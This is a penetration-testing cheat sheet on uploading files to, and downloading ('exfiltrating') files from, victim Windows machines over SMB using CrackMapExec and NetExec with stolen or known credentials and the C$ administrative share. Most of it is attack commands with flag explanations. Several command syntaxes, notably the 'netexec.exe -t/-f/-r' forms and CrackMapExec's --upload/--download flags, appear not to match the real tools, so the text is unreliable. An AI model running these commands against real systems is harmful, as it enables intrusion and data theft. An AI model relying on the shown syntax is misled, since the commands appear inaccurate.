CrackMapExec (NetExec)
Below is a cheat sheet for transporting files using CrackMapExec (CME) and Netexec during post-exploitation. These tools are widely used in penetration testing, especially when working with SMB and remote systems in Windows environments.
Uploading Files to Victims Using CrackMapExec and Netexec
1. CrackMapExec (CME) - Uploading Files
CrackMapExec is a popular tool for interacting with SMB shares and automating tasks like file transfers, enumeration, and exploitation. It can be used to upload files to remote systems that are accessible via SMB.
Attacking Machine Command (Upload File using CrackMapExec):
crackmapexec smb 10.10.10.10 -u username -p password --upload /path/to/local/file.txt C$\\path\\to\\remote\\file.txtExplanation:
crackmapexec smbtells CME to use SMB protocol.10.10.10.10is the IP address of the victim machine.-u username -p passwordspecifies the credentials.--upload /path/to/local/file.txt C$\\path\\to\\remote\\file.txtuploads a local file to the remote machine using theC$share (administrative share). The destination path is specified afterC$.
2. Netexec - Uploading Files
Netexec is another tool that facilitates command execution and file transfers. It allows users to upload files to remote systems over SMB.
Attacking Machine Command (Upload File using Netexec):
netexec -t 10.10.10.10 -u username -p password -f /path/to/local/file.txt -r C$\\path\\to\\remote\\file.txtExplanation:
netexec.exeis the command-line tool used for execution.-t 10.10.10.10specifies the target victim machine’s IP address.-u username -p passwordprovides the necessary credentials for authentication.-f /path/to/local/file.txtspecifies the local file to be uploaded.-r C$\\path\\to\\remote\\file.txtspecifies the destination path on the remote machine.
Downloading Files from Victims Using CrackMapExec and Netexec
1. CrackMapExec (CME) - Downloading Files
CrackMapExec can also be used to download files from remote systems over SMB. This can be useful for exfiltrating data after successful exploitation.
Attacking Machine Command (Download File using CrackMapExec):
crackmapexec smb 10.10.10.10 -u username -p password --download C$\\path\\to\\remote\\file.txt /path/to/local/file.txtExplanation:
--download C$\\path\\to\\remote\\file.txt /path/to/local/file.txtspecifies that the file located at the given remote path will be downloaded to the specified local path.
2. Netexec - Downloading Files
Netexec can also be used to download files from the victim system. This is useful for extracting valuable files during a post-exploitation phase.
Attacking Machine Command (Download File using Netexec):
netexec.exe -t 10.10.10.10 -u username -p password -d C$\\path\\to\\remote\\file.txt -l /path/to/local/file.txtExplanation:
-d C$\\path\\to\\remote\\file.txtspecifies the remote file to be downloaded.-l /path/to/local/file.txtdefines where the downloaded file will be saved on the attacking machine.
Last updated